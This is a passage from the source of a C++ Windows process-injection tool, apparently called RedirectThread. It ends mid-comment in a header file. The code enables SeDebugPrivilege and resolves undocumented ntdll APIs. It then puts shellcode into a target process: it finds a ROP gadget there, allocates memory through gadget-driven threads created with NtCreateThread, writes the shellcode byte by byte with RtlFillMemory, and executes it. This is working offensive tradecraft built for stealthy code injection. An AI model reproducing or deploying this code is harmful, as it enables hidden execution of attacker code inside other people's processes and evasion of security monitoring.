| #include 5 | #include 6 | #include 7 | #include 8 | 9 | #include "Arguments.h" 10 | #include "ProcessThread.h" 11 | #include "GadgetUtil.h" 12 | #include "Helpers.h" 13 | 14 | #include "NtCreateThreadUtil.h" 15 | #include "APCInjection.h" 16 | #include "DLLInjection.h" 17 | #include "CreateRemoteThreadUtil h" 18 | 19 | bool Inject(const InjectionConfig &config); 20 | 21 | -------------------------------------------------------------------------------- /RedirectThread/NativeAPI.cpp: -------------------------------------------------------------------------------- 1 | #include "NativeAPI.h" 2 | #include // For std::cerr/std::cout 3 | 4 | // Initialize global function pointers 5 | NtCreateThread_t pNtCreateThread = nullptr; 6 | NtQueueApcThread_t pNtQueueApcThread = nullptr; 7 | NtQueueApcThreadEx_t pNtQueueApcThreadEx = nullptr; 8 | NtQueueApcThreadEx2_t pNtQueueApcThreadEx2 = nullptr; 9 | QueueUserAPC2_t pQueueUserAPC2 = nullptr; 10 | NtQueryInformationThread_t pNtQueryInformationThread = nullptr; 11 | NtQuerySystemInformation_t pNtQuerySystemInformation = nullptr; 12 | 13 | bool LoadNativeAPIs() 14 | { 15 | HMODULE hNtdll = GetModuleHandleA("ntdll.dll"); 16 | HMODULE hKernel32 = GetModuleHandleA("kernel32.dll"); 17 | if (!hNtdll || !hKernel32) 18 | { 19 | std::cerr << "[!] Failed to get module handle for ntdll.dll or kernel32.dll. Error: " << GetLastError() << std::endl; 20 | return false; 21 | } 22 | 23 | // Load NtCreateThread 24 | pNtCreateThread = (NtCreateThread_t)GetProcAddress(hNtdll, "NtCreateThread"); 25 | if (!pNtCreateThread) 26 | { 27 | std::cerr << "[!] Failed to get address for NtCreateThread function." << std::endl; 28 | } 29 | 30 | // Load NtQueueApcThread functions 31 | pNtQueueApcThread = (NtQueueApcThread_t)GetProcAddress(hNtdll, "NtQueueApcThread"); 32 | pNtQueueApcThreadEx = (NtQueueApcThreadEx_t)GetProcAddress(hNtdll, "NtQueueApcThreadEx"); 33 | pNtQueueApcThreadEx2 = (NtQueueApcThreadEx2_t)GetProcAddress(hNtdll, "NtQueueApcThreadEx2"); 34 | pQueueUserAPC2 = (QueueUserAPC2_t)GetProcAddress(hKernel32, "QueueUserAPC2"); 35 | pNtQueryInformationThread = (NtQueryInformationThread_t)GetProcAddress(hNtdll, "NtQueryInformationThread"); 36 | pNtQuerySystemInformation = (NtQuerySystemInformation_t)GetProcAddress(hNtdll, "NtQuerySystemInformation"); 37 | // pRtlFillMemory = (RtlFillMemory_t)GetProcAddress(hNtdll, "RtlFillMemory"); 38 | 39 | if (!pNtQueueApcThread || !pNtQueueApcThreadEx || !pNtQueueApcThreadEx2 || !pNtQueryInformationThread) 40 | { 41 | std::cerr << "[!] Failed to get address for one or more NtQueueApcThread* functions." << std::endl; 42 | if (!pNtQueueApcThread) 43 | std::cerr << " - NtQueueApcThread not found.\n"; 44 | if (!pNtQueueApcThreadEx) 45 | std::cerr << " - NtQueueApcThreadEx not found.\n"; 46 | if (!pNtQueueApcThreadEx2) 47 | std::cerr << " - NtQueueApcThreadEx2 not found.\n"; 48 | if (!pNtQueryInformationThread) 49 | std::cerr << " - NtQueryInformationThread not found.\n"; 50 | if (!pNtQuerySystemInformation) 51 | std::cerr << " - NtQuerySystemInformation not found.\n"; 52 | // if (!pRtlFillMemory) std::cerr << " - RtlFillMemory not found.\n"; 53 | } 54 | 55 | if (!pQueueUserAPC2) 56 | { 57 | std::cout << "[*] Note: kernel32!QueueUserAPC2 not found (requires Win10 build 1809+). Option --method queueuserapc2 unavailable." << std::endl; 58 | } 59 | 60 | return true; 61 | } 62 | -------------------------------------------------------------------------------- /RedirectThread/NativeAPI.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define WIN32_LEAN_AND_MEAN 4 | #include 5 | #include // For CLIENT_ID, INITIAL_TEB etc. 6 | 7 | // --- Native API Definitions --- 8 | #ifndef NTSTATUS 9 | typedef LONG NTSTATUS; 10 | #define STATUS_SUCCESS ((NTSTATUS)0x00000000L) 11 | #endif 12 | 13 | #ifndef STATUS_INFO_LENGTH_MISMATCH 14 | #define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L) 15 | #endif 16 | 17 | // _CLIENT_ID is defined in winternl.h (included via Windows.h) 18 | // Remove our manual definition to avoid redefinition errors. 19 | // Define the pointer type PCLIENT_ID if not already defined by headers. 20 | typedef CLIENT_ID *PCLIENT_ID; 21 | 22 | typedef struct _INITIAL_TEB 23 | { // Keep INITIAL_TEB definition if not standard 24 | PVOID Reserved1[3]; // Reserved for internal use 25 | PVOID StackBase; 26 | PVOID StackLimit; 27 | PVOID Reserved2[19]; // Other TEB fields 28 | } INITIAL_TEB, *PINITIAL_TEB; 29 | 30 | // NtCreateThread function prototype 31 | typedef NTSTATUS(NTAPI *NtCreateThread_t)( 32 | OUT PHANDLE ThreadHandle, 33 | IN ACCESS_MASK DesiredAccess, 34 | IN PVOID ObjectAttributes, // POBJECT_ATTRIBUTES 35 | IN HANDLE ProcessHandle, 36 | OUT PCLIENT_ID ClientId, 37 | IN PCONTEXT ThreadContext, 38 | IN PINITIAL_TEB InitialTeb, 39 | IN BOOLEAN CreateSuspended); 40 | 41 | // APC related types 42 | typedef VOID(NTAPI *PKNORMAL_ROUTINE)( 43 | PVOID NormalContext, 44 | PVOID SystemArgument1, 45 | PVOID SystemArgument2); 46 | 47 | typedef VOID(NTAPI *PPS_APC_ROUTINE)( 48 | PVOID ApcArgument1, 49 | PVOID ApcArgument2, 50 | PVOID ApcArgument3); 51 | 52 | typedef NTSTATUS(NTAPI *NtQueueApcThread_t)( 53 | HANDLE ThreadHandle, 54 | PKNORMAL_ROUTINE ApcRoutine, 55 | PVOID NormalContext, 56 | PVOID SystemArgument1, 57 | PVOID SystemArgument2); 58 | 59 | typedef NTSTATUS(NTAPI *NtQueueApcThreadEx_t)( 60 | HANDLE ThreadHandle, 61 | HANDLE UserApcReserveHandle, 62 | PKNORMAL_ROUTINE ApcRoutine, 63 | PVOID ApcArgument1, 64 | PVOID ApcArgument2, 65 | PVOID ApcArgument3); 66 | 67 | #define QUEUE_USER_APC_FLAGS_SPECIAL_USER_APC 0x00000001 68 | 69 | typedef NTSTATUS(NTAPI *NtQueueApcThreadEx2_t)( 70 | HANDLE ThreadHandle, 71 | HANDLE ReserveHandle, 72 | ULONG ApcFlags, 73 | PPS_APC_ROUTINE ApcRoutine, 74 | PVOID ApcArgument1, 75 | PVOID ApcArgument2, 76 | PVOID ApcArgument3); 77 | 78 | typedef BOOL(WINAPI *QueueUserAPC2_t)( 79 | PAPCFUNC pfnAPC, 80 | HANDLE hThread, 81 | ULONG_PTR dwData1, 82 | ULONG_PTR dwData2, 83 | ULONG_PTR dwData3); 84 | 85 | typedef VOID(NTAPI *RtlFillMemory_t)( 86 | OUT PVOID Destination, 87 | IN SIZE_T Length, 88 | IN BYTE Fill); 89 | 90 | // --- KWAIT_REASON Enum (Commonly known values) --- 91 | typedef enum _KWAIT_REASON 92 | { 93 | Executive = 0, 94 | FreePage = 1, 95 | PageIn = 2, 96 | PoolAllocation = 3, 97 | DelayExecution = 4, // <--- Reason for Sleep/NtDelayExecution 98 | Suspended = 5, 99 | UserRequest = 6, // <--- Reason for WaitForSingleObject etc. 100 | WrExecutive = 7, 101 | WrFreePage = 8, 102 | WrPageIn = 9, 103 | WrPoolAllocation = 10, 104 | WrDelayExecution = 11, 105 | WrSuspended = 12, 106 | WrUserRequest = 13, 107 | WrEventPair = 14, 108 | WrQueue = 15, 109 | WrLpcReceive = 16, 110 | WrLpcReply = 17, 111 | WrVirtualMemory = 18, 112 | WrPageOut = 19, 113 | WrRendezvous = 20, 114 | WrKeyedEvent = 21, 115 | WrTerminated = 22, 116 | WrProcessInSwap = 23, 117 | WrCpuRateControl = 24, 118 | WrCalloutStack = 25, 119 | WrKernel = 26, 120 | WrResource = 27, 121 | WrPushLock = 28, 122 | WrMutex = 29, 123 | WrQuantumEnd = 30, 124 | WrDispatchInt = 31, 125 | WrPreempted = 32, 126 | WrYieldExecution = 33, 127 | WrFastMutex = 34, 128 | WrGuardedMutex = 35, 129 | WrRundown = 36, 130 | MaximumWaitReason = 37 131 | } KWAIT_REASON; 132 | 133 | // --- THREAD_STATE Enum (Commonly known values) --- 134 | typedef enum _KTHREAD_STATE 135 | { 136 | Initialized = 0, 137 | Ready = 1, 138 | Running = 2, 139 | Standby = 3, 140 | Terminated = 4, 141 | Waiting = 5, // <--- State when sleeping or waiting 142 | Transition = 6, 143 | DeferredReady = 7, 144 | GateWait = 8, 145 | MaximumThreadState = 9 146 | } KTHREAD_STATE; 147 | 148 | // --- NtQueryInformationThread --- ADD THIS SECTION --- 149 | // Define ThreadInformationClass if not already available from headers 150 | // #ifndef THREADINFOCLASS 151 | // typedef enum _THREADINFOCLASS { 152 | // ThreadBasicInformation, // 0 Y N 153 | // ThreadTimes, // 1 Y N 154 | // ThreadPriority, // 2 Y Y 155 | // ThreadBasePriority, // 3 Y Y 156 | // ThreadAffinityMask, // 4 Y Y 157 | // ThreadImpersonationToken, // 5 Y Y 158 | // ThreadDescriptorTableEntry, // 6 Y N - Not supported on x64 159 | // ThreadEnableAlignmentFaultFixup, // 7 Y Y 160 | // ThreadEventPair, // 8 N Y 161 | // ThreadQuerySetWin32StartAddress,// 9 Y Y 162 | // ThreadZeroTlsCell, // 10 N Y - Supported starting Vista 163 | // ThreadPerformanceCount, // 11 Y N - Supported starting Vista 164 | // ThreadAmILastThread, // 12 Y N - Supported starting Vista 165 | // ThreadIdealProcessor, // 13 Y Y 166 | // ThreadPriorityBoost, // 14 Y Y 167 | // ThreadSetTlsArrayAddress, // 15 N Y - Supported starting Vista 168 | // ThreadIsIoPending, // 16 Y N - Supported starting Vista 169 | // ThreadHideFromDebugger, // 17 N Y - Supported starting Vista 170 | // ThreadBreakOnTermination, // 18 N Y - Supported starting Vista 171 | // ThreadSwitchLegacyState, // 19 N N 172 | // ThreadIsTerminated, // 20 Y N - Supported starting Vista 173 | // ThreadLastSystemCall, // 21 Y N - Supported starting Vista SP1 174 | // ThreadIoPriority, // 22 Y Y - Supported starting Vista 175 | // ThreadCycleTime, // 23 Y N - Supported starting Vista 176 | // ThreadPagePriority, // 24 Y Y - Supported starting Windows 7 177 | // ThreadActualBasePriority, // 25 Y N 178 | // ThreadTebInformation, // 26 Y N - Supported starting Windows 7 179 | // ThreadCSwitchMon, // 27 N N - Supported starting Windows 8 180 | // ThreadCSwitchPteMap, // 28 N N - Supported starting Windows 8 181 | // ThreadWow64Context, // 29 Y Y - Supported starting Windows 8 182 | // ThreadGroupInformation, // 30 Y Y - Supported starting Windows 7 183 | // ThreadUmsInformation, // 31 N Y - Supported starting Windows 7 184 | // ThreadCounterProfiling, // 32 N Y 185 | // ThreadIdealProcessorEx, // 33 Y Y - Supported starting Windows 7 186 | // ThreadCpuSetInformation, // 34 Y Y - Supported starting Windows 10 187 | // ThreadCSwitchOptions, // 35 N N 188 | // ThreadSuspendCount, // 36 Y N - Supported starting Windows 10 189 | // ThreadActualGroupCount, // 37 Y N 190 | // ThreadJobInformation, // 38 Y Y - Supported starting Windows 10 191 | // MaxThreadInfoClass 192 | //} THREADINFOCLASS; 193 | // #endif 194 | 195 | // Define SystemProcessInformation class value 196 | #ifndef SystemProcessInformation 197 | #define SystemProcessInformation 5 198 | #endif 199 | 200 | // Structure needed for SystemProcessInformation (Simplified) 201 | // NOTE: Full definition is complex and varies slightly between Windows versions. 202 | // We only need offsets to find thread information. 203 | typedef struct _SYSTEM_PROCESS_INFO 204 | { 205 | ULONG NextEntryOffset; 206 | ULONG NumberOfThreads; 207 | LARGE_INTEGER WorkingSetPrivateSize; // Should be LARGE_INTEGER 208 | ULONG HardFaultCount; // Should be ULONG 209 | ULONG NumberOfThreadsHighWatermark; // Should be ULONG 210 | ULONGLONG CycleTime; // Should be ULONGLONG 211 | LARGE_INTEGER CreateTime; 212 | LARGE_INTEGER UserTime; 213 | LARGE_INTEGER KernelTime; 214 | UNICODE_STRING ImageName; 215 | LONG BasePriority; // Should be KPRIORITY 216 | HANDLE UniqueProcessId; 217 | HANDLE InheritedFromUniqueProcessId; 218 | ULONG HandleCount; 219 | ULONG SessionId; 220 | ULONG_PTR UniqueProcessKey; // Size varies between x86/x64 221 | SIZE_T PeakVirtualSize; 222 | SIZE_T VirtualSize; 223 | ULONG PageFaultCount; 224 | SIZE_T PeakWorkingSetSize; 225 | SIZE_T WorkingSetSize; 226 | SIZE_T QuotaPeakPagedPoolUsage; 227 | SIZE_T QuotaPagedPoolUsage; 228 | SIZE_T QuotaPeakNonPagedPoolUsage; 229 | SIZE_T QuotaNonPagedPoolUsage; 230 | SIZE_T PagefileUsage; 231 | SIZE_T PeakPagefileUsage; 232 | SIZE_T PrivatePageCount; 233 | LARGE_INTEGER ReadOperationCount; 234 | LARGE_INTEGER WriteOperationCount; 235 | LARGE_INTEGER OtherOperationCount; 236 | LARGE_INTEGER ReadTransferCount; 237 | LARGE_INTEGER WriteTransferCount; 238 | LARGE_INTEGER OtherTransferCount; 239 | SYSTEM_THREAD_INFORMATION Threads[1]; // Variable number of threads 240 | } SYSTEM_PROCESS_INFO, *PSYSTEM_PROCESS_INFO; 241 | 242 | // Structure for ThreadBasicInformation 243 | typedef struct _THREAD_BASIC_INFORMATION 244 | { 245 | NTSTATUS ExitStatus; 246 | PVOID TebBaseAddress; 247 | CLIENT_ID ClientId; 248 | ULONG_PTR AffinityMask; 249 | LONG Priority; 250 | LONG BasePriority; 251 | } THREAD_BASIC_INFORMATION, *PTHREAD_BASIC_INFORMATION; 252 | 253 | // Define the function pointer type 254 | typedef NTSTATUS(NTAPI *NtQueryInformationThread_t)( 255 | IN HANDLE ThreadHandle, 256 | IN THREADINFOCLASS ThreadInformationClass, 257 | OUT PVOID ThreadInformation, 258 | IN ULONG ThreadInformationLength, 259 | OUT PULONG ReturnLength OPTIONAL); 260 | 261 | // Add NtQuerySystemInformation 262 | typedef NTSTATUS(NTAPI *NtQuerySystemInformation_t)( 263 | IN SYSTEM_INFORMATION_CLASS SystemInformationClass, 264 | OUT PVOID SystemInformation, 265 | IN ULONG SystemInformationLength, 266 | OUT PULONG ReturnLength OPTIONAL); 267 | 268 | // --- Global Function Pointers for Native APIs --- 269 | // These are defined in NativeAPI.cpp 270 | extern NtCreateThread_t pNtCreateThread; 271 | extern NtQueueApcThread_t pNtQueueApcThread; 272 | extern NtQueueApcThreadEx_t pNtQueueApcThreadEx; 273 | extern NtQueueApcThreadEx2_t pNtQueueApcThreadEx2; 274 | extern QueueUserAPC2_t pQueueUserAPC2; 275 | extern NtQueryInformationThread_t pNtQueryInformationThread; 276 | extern NtQuerySystemInformation_t pNtQuerySystemInformation; 277 | extern RtlFillMemory_t pRtlFillMemory; 278 | 279 | // --- Function Declarations --- 280 | // Loads function pointers for required native APIs. 281 | // Returns true if essential APIs are loaded, false otherwise. 282 | bool LoadNativeAPIs(); 283 | -------------------------------------------------------------------------------- /RedirectThread/NtCreateThreadUtil.cpp: -------------------------------------------------------------------------------- 1 | #include "NtCreateThreadUtil.h" 2 | #include "GadgetUtil.h" // For GadgetInfo, FindUniquePushPushRetGadget, SetRegisterContextValue 3 | #include // For std::cerr, std::cout 4 | 5 | bool EnableDebugPrivilege() 6 | { 7 | HANDLE hToken; 8 | LUID luid; 9 | TOKEN_PRIVILEGES tp; 10 | 11 | if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken)) 12 | { 13 | std::cerr << "[!] OpenProcessToken failed. Error: " << GetLastError() << std::endl; 14 | return false; 15 | } 16 | 17 | if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &luid)) 18 | { 19 | std::cerr << "[!] LookupPrivilegeValue failed. Error: " << GetLastError() << std::endl; 20 | CloseHandle(hToken); 21 | return false; 22 | } 23 | 24 | tp.PrivilegeCount = 1; 25 | tp.Privileges[0].Luid = luid; 26 | tp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 27 | 28 | if (!AdjustTokenPrivileges(hToken, FALSE, &tp, sizeof(TOKEN_PRIVILEGES), NULL, NULL)) 29 | { 30 | std::cerr << "[!] AdjustTokenPrivileges failed. Error: " << GetLastError() << std::endl; 31 | CloseHandle(hToken); 32 | return false; 33 | } 34 | 35 | if (GetLastError() == ERROR_NOT_ALL_ASSIGNED) 36 | { 37 | std::cerr << "[!] Warning: SeDebugPrivilege could not be enabled. Process might lack the right." << std::endl; 38 | } 39 | 40 | CloseHandle(hToken); 41 | return true; 42 | } 43 | 44 | bool AllocateRemoteStack(HANDLE hProcess, SIZE_T stackSize, PVOID *pStackBase, PVOID *pStackLimit) 45 | { 46 | *pStackBase = nullptr; 47 | *pStackLimit = nullptr; 48 | 49 | // Allocate memory for the stack in the target process 50 | // Stack grows downwards, so Limit is the lower address (base of allocation) 51 | // Base is the higher address (top of the stack initially) 52 | PVOID pAlloc = VirtualAllocEx( 53 | hProcess, 54 | NULL, // Let system choose address 55 | stackSize, // Size of the stack 56 | MEM_COMMIT | MEM_RESERVE, // Allocation type 57 | PAGE_READWRITE // Memory protection 58 | ); 59 | 60 | if (pAlloc == NULL) 61 | { 62 | std::cerr << "[!] VirtualAllocEx failed to allocate remote stack. Error: " << GetLastError() << std::endl; 63 | return false; 64 | } 65 | 66 | // Limit is the starting address of the allocation 67 | *pStackLimit = pAlloc; 68 | // Base is the end address of the allocation (highest address) 69 | *pStackBase = (PVOID)((ULONG_PTR)pAlloc + stackSize); 70 | 71 | return true; 72 | } 73 | 74 | bool PrepareInitialTeb(PINITIAL_TEB pInitialTeb, PVOID pStackBase, PVOID pStackLimit) 75 | { 76 | if (!pInitialTeb || !pStackBase || !pStackLimit) 77 | return false; 78 | 79 | ZeroMemory(pInitialTeb, sizeof(INITIAL_TEB)); 80 | // Set the stack limits for the new thread's TEB 81 | pInitialTeb->StackBase = pStackBase; 82 | pInitialTeb->StackLimit = pStackLimit; 83 | // Other TEB fields initialized by kernel 84 | 85 | return true; 86 | } 87 | 88 | bool PrepareThreadContext(PCONTEXT pContext, PVOID pStartAddress, PVOID pStackBase) 89 | { 90 | if (!pContext || !pStartAddress || !pStackBase) 91 | return false; 92 | 93 | // Get a valid context template first using the current thread 94 | ZeroMemory(pContext, sizeof(CONTEXT)); 95 | pContext->ContextFlags = CONTEXT_FULL; 96 | 97 | if (!GetThreadContext(GetCurrentThread(), pContext)) 98 | { 99 | std::cerr << "[!] GetThreadContext failed. Error: " << GetLastError() << std::endl; 100 | return false; 101 | } 102 | 103 | // Set the Instruction Pointer (where the thread starts) 104 | #ifdef _WIN64 105 | pContext->Rip = (DWORD64)pStartAddress; 106 | #else 107 | pContext->Eip = (DWORD)pStartAddress; 108 | #endif 109 | 110 | // Set the Stack Pointer (to the top of our allocated stack) 111 | // Stack grows downwards, so RSP/ESP should point to the highest address (StackBase) initially 112 | #ifdef _WIN64 113 | pContext->Rsp = (DWORD64)pStackBase; 114 | #else 115 | pContext->Esp = (DWORD)pStackBase; 116 | #endif 117 | 118 | // Ensure control flags are properly set 119 | pContext->ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS; 120 | 121 | return true; 122 | } 123 | 124 | // Create a remote thread via NtCreateThread to execute a ROP gadget 125 | bool CreateRemoteThreadViaGadgetWithNtCreateThread( 126 | HANDLE processHandle, 127 | const GadgetInfo &ropGadget, 128 | DWORD64 arg1, 129 | DWORD64 arg2, 130 | DWORD64 arg3, 131 | DWORD64 arg4, 132 | DWORD64 functionAddress, 133 | DWORD64 exitThreadAddr, 134 | SIZE_T stackSize = 1024 * 1024) 135 | { 136 | // Check if NtCreateThread is available 137 | if (!pNtCreateThread) 138 | { 139 | std::cerr << "[!] NtCreateThread function pointer not available. Function may not exist on this system." << std::endl; 140 | return false; 141 | } 142 | 143 | // Allocate a stack for the new thread 144 | PVOID stackBase = nullptr; 145 | PVOID stackLimit = nullptr; 146 | if (!AllocateRemoteStack(processHandle, stackSize, &stackBase, &stackLimit)) 147 | { 148 | std::cerr << "[!] Failed to allocate stack in target process." << std::endl; 149 | return false; 150 | } 151 | 152 | // Prepare the thread's initial TEB 153 | INITIAL_TEB initialTeb = {0}; 154 | if (!PrepareInitialTeb(&initialTeb, stackBase, stackLimit)) 155 | { 156 | std::cerr << "[!] Failed to prepare InitialTeb." << std::endl; 157 | return false; 158 | } 159 | 160 | // Prepare the thread's context, setting the entry point to the ROP gadget 161 | CONTEXT threadContext = {0}; 162 | ZeroMemory(&threadContext, sizeof(CONTEXT)); 163 | threadContext.ContextFlags = CONTEXT_FULL; 164 | 165 | if (!GetThreadContext(GetCurrentThread(), &threadContext)) 166 | { 167 | std::cerr << "[!] GetThreadContext failed. Error: " << GetLastError() << std::endl; 168 | return false; 169 | } 170 | 171 | // Set RIP to point to the gadget address 172 | threadContext.Rip = reinterpret_cast(ropGadget.address); 173 | threadContext.Rsp = reinterpret_cast(stackBase); 174 | 175 | // Set up the registers for the ROP gadget 176 | if (!SetRegisterContextValue(threadContext, ropGadget.regId1, exitThreadAddr)) 177 | { 178 | std::cerr << "[!] Failed to set register 1 for ROP gadget." << std::endl; 179 | return false; 180 | } 181 | if (!SetRegisterContextValue(threadContext, ropGadget.regId2, functionAddress)) 182 | { 183 | std::cerr << "[!] Failed to set register 2 for ROP gadget." << std::endl; 184 | return false; 185 | } 186 | 187 | // Set function arguments in registers 188 | threadContext.Rcx = arg1; 189 | threadContext.Rdx = arg2; 190 | threadContext.R8 = arg3; 191 | threadContext.R9 = arg4; 192 | 193 | // Set control flags 194 | threadContext.ContextFlags = CONTEXT_CONTROL | CONTEXT_INTEGER | CONTEXT_SEGMENTS; 195 | 196 | // Create the thread using NtCreateThread 197 | HANDLE hThread = NULL; 198 | CLIENT_ID clientId = {0}; 199 | 200 | NTSTATUS status = pNtCreateThread( 201 | &hThread, // Output thread handle 202 | THREAD_ALL_ACCESS, // Desired access 203 | NULL, // ObjectAttributes 204 | processHandle, // Target process handle 205 | &clientId, // Output client ID 206 | &threadContext, // Initial context (registers) 207 | &initialTeb, // Initial TEB (stack info) 208 | FALSE // CreateSuspended = FALSE 209 | ); 210 | 211 | if (status != STATUS_SUCCESS) 212 | { 213 | std::cerr << "[!] NtCreateThread failed with status: 0x" << std::hex << status << std::dec << std::endl; 214 | return false; 215 | } 216 | 217 | // Wait for thread to complete and clean up 218 | WaitForSingleObject(hThread, INFINITE); 219 | CloseHandle(hThread); 220 | 221 | return true; 222 | } 223 | 224 | // Main function for shellcode injection using NtCreateThread with ROP gadget 225 | bool InjectShellcodeUsingNtCreateThread( 226 | HANDLE hProcess, 227 | const std::vector &shellcodeBytes, 228 | SIZE_T allocSize, 229 | DWORD allocPerm, 230 | bool verbose) 231 | { 232 | // 1. Find a ROP gadget just like in CreateRemoteThread approach 233 | GadgetInfo gadget = FindUniquePushPushRetGadget(hProcess); 234 | if (gadget.address == nullptr) 235 | { 236 | std::cerr << "[!] Failed to find a suitable ROP gadget in the target process. Error: " << GetLastError() << std::endl; 237 | return false; 238 | } 239 | 240 | if (verbose) 241 | { 242 | std::cout << "[*] Found ROP gadget at address: " << gadget.address << std::endl; 243 | } 244 | 245 | // 2. Get necessary function addresses 246 | HMODULE hKernel32 = GetModuleHandleA("kernel32.dll"); 247 | if (!hKernel32) 248 | { 249 | std::cerr << "[!] Failed to get kernel32.dll handle. Error: " << GetLastError() << std::endl; 250 | return false; 251 | } 252 | 253 | LPVOID pVirtualAlloc = GetProcAddress(hKernel32, "VirtualAlloc"); 254 | LPVOID pExitThread = GetProcAddress(hKernel32, "ExitThread"); 255 | LPVOID pRtlMoveMemory = GetProcAddress(hKernel32, "RtlMoveMemory"); // Keep for now, might be used elsewhere or for reference 256 | LPVOID pRtlFillMemory = GetProcAddress(GetModuleHandleA("ntdll.dll"), "RtlFillMemory"); 257 | 258 | 259 | if (!pVirtualAlloc || !pExitThread || !pRtlFillMemory) // Changed pRtlMoveMemory to pRtlFillMemory 260 | { 261 | std::cerr << "[!] Failed to get necessary function addresses. Error: " << GetLastError() << std::endl; 262 | return false; 263 | } 264 | 265 | DWORD64 exitThreadAddr = reinterpret_cast(pExitThread); 266 | 267 | if (verbose) 268 | { 269 | std::cout << "[*] Function addresses obtained:" 270 | << "\n VirtualAlloc: " << pVirtualAlloc 271 | << "\n ExitThread: " << pExitThread 272 | << "\n RtlFillMemory: " << pRtlFillMemory << std::endl; // Changed 273 | } 274 | 275 | // 3. Allocate memory for shellcode using NtCreateThread + ROP gadget 276 | DWORD64 ALLOC_SIZE = allocSize; 277 | DWORD64 ALLOC_TYPE = MEM_COMMIT | MEM_RESERVE; 278 | DWORD64 ALLOC_PROTECT = allocPerm; 279 | DWORD64 REQUESTED_ALLOC_ADDR = 0x60000; // Same address as in ROP gadget method 280 | 281 | bool allocSuccess = CreateRemoteThreadViaGadgetWithNtCreateThread( 282 | hProcess, 283 | gadget, 284 | REQUESTED_ALLOC_ADDR, ALLOC_SIZE, ALLOC_TYPE, ALLOC_PROTECT, 285 | reinterpret_cast(pVirtualAlloc), 286 | exitThreadAddr); 287 | 288 | if (!allocSuccess) 289 | { 290 | std::cerr << "[!] Failed to allocate memory in the target process. Error: " << GetLastError() << std::endl; 291 | return false; 292 | } 293 | 294 | if (verbose) 295 | { 296 | std::cout << "[*] Successfully allocated memory at address: 0x" << std::hex 297 | << REQUESTED_ALLOC_ADDR << std::dec 298 | << " with size: " << ALLOC_SIZE << " bytes" << std::endl; 299 | } 300 | 301 | // 4. Copy shellcode byte-by-byte using RtlFillMemory and ROP gadget 302 | for (size_t i = 0; i < shellcodeBytes.size(); ++i) 303 | { 304 | unsigned char byteToFill = shellcodeBytes[i]; 305 | 306 | bool copySuccess = CreateRemoteThreadViaGadgetWithNtCreateThread( 307 | hProcess, 308 | gadget, 309 | REQUESTED_ALLOC_ADDR + i, // Destination (PVOID Destination) 310 | 1, // Length (SIZE_T Length) 311 | static_cast(byteToFill), // Fill (int Fill) - RCX, RDX, R8 312 | 0, // Unused 313 | reinterpret_cast(pRtlFillMemory), // Function to call 314 | exitThreadAddr); 315 | 316 | if (!copySuccess && verbose) 317 | { 318 | std::cerr << "[!] Warning: Failed to fill byte at index " << i << std::endl; 319 | } 320 | } 321 | 322 | if (verbose) 323 | { 324 | std::cout << "[*] Successfully copied " << shellcodeBytes.size() 325 | << " bytes of shellcode to the target process" << std::endl; 326 | } 327 | 328 | // 5. Execute the shellcode 329 | bool execSuccess = CreateRemoteThreadViaGadgetWithNtCreateThread( 330 | hProcess, 331 | gadget, 332 | 0, 0, 0, 0, 333 | REQUESTED_ALLOC_ADDR, // Address of shellcode to execute 334 | exitThreadAddr); 335 | 336 | if (!execSuccess) 337 | { 338 | std::cerr << "[!] Failed to execute shellcode. Error: " << GetLastError() << std::endl; 339 | return false; 340 | } 341 | 342 | if (verbose) 343 | { 344 | std::cout << "[*] Successfully executed shellcode" << std::endl; 345 | } 346 | 347 | return true; 348 | } 349 | 350 | // Legacy function, preserved for compatibility - redirects to the correct approach 351 | bool CreateThreadViaNtCreateThread( 352 | HANDLE hProcess, 353 | LPVOID functionAddress, 354 | DWORD64 arg1, 355 | DWORD64 arg2, 356 | DWORD64 arg3, 357 | DWORD64 arg4, 358 | SIZE_T stackSize) 359 | { 360 | // This function has been replaced by CreateRemoteThreadViaGadgetWithNtCreateThread 361 | // which properly implements the ROP gadget technique 362 | std::cerr << "[!] CreateThreadViaNtCreateThread is deprecated. Use CreateRemoteThreadViaGadgetWithNtCreateThread instead." << std::endl; 363 | return false; 364 | } 365 | 366 | // Legacy function redirectors - all now use the ROP gadget approach 367 | LPVOID AllocateMemoryViaNtCreateThread(HANDLE hProcess, DWORD64 baseAddress, SIZE_T size, DWORD allocType, DWORD protect) 368 | { 369 | std::cerr << "[!] AllocateMemoryViaNtCreateThread is deprecated. Use CreateRemoteThreadViaGadgetWithNtCreateThread instead." << std::endl; 370 | return nullptr; 371 | } 372 | 373 | bool PerformRemoteMemoryCopyViaNtCreateThread(HANDLE processHandle, LPVOID memCopyAddress, DWORD64 destinationAddress, const unsigned char *sourceData, size_t dataSize) 374 | { 375 | std::cerr << "[!] PerformRemoteMemoryCopyViaNtCreateThread is deprecated. Use CreateRemoteThreadViaGadgetWithNtCreateThread instead." << std::endl; 376 | return false; 377 | } 378 | 379 | bool ExecuteShellcodeViaNtCreateThread(HANDLE processHandle, LPVOID shellcodeAddress) 380 | { 381 | std::cerr << "[!] ExecuteShellcodeViaNtCreateThread is deprecated. Use CreateRemoteThreadViaGadgetWithNtCreateThread instead." << std::endl; 382 | return false; 383 | } 384 | -------------------------------------------------------------------------------- /RedirectThread/NtCreateThreadUtil.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | #define WIN32_LEAN_AND_MEAN 4 | #include 5 | #include // For shellcode bytes 6 | #include // For TEB/Context structures 7 | #include "NativeAPI.h" // For Native API types like PINITIAL_TEB, PCONTEXT 8 | 9 | // --- NtCreateThread Utility Function Declarations --- 10 | 11 | // Enables the necessary privilege for certain operations (like process interaction). 12 | bool EnableDebugPrivilege(); 13 | 14 | // Allocates memory for a stack in the remote process. 15 | bool AllocateRemoteStack(HANDLE hProcess, SIZE_T stackSize, PVOID *pStackBase, PVOID *pStackLimit); 16 | 17 | // Initializes the TEB structure for the new thread. 18 | bool PrepareInitialTeb(PINITIAL_TEB pInitialTeb, PVOID pStackBase, PVOID pStackLimit); 19 | 20 | // Initializes the CONTEXT structure for the new thread. 21 | bool PrepareThreadContext(PCONTEXT pContext, PVOID pStartAddress, PVOID pStackBase); 22 | 23 | // Creates a remote thread using the NtCreateThread API. 24 | // Note: This is a 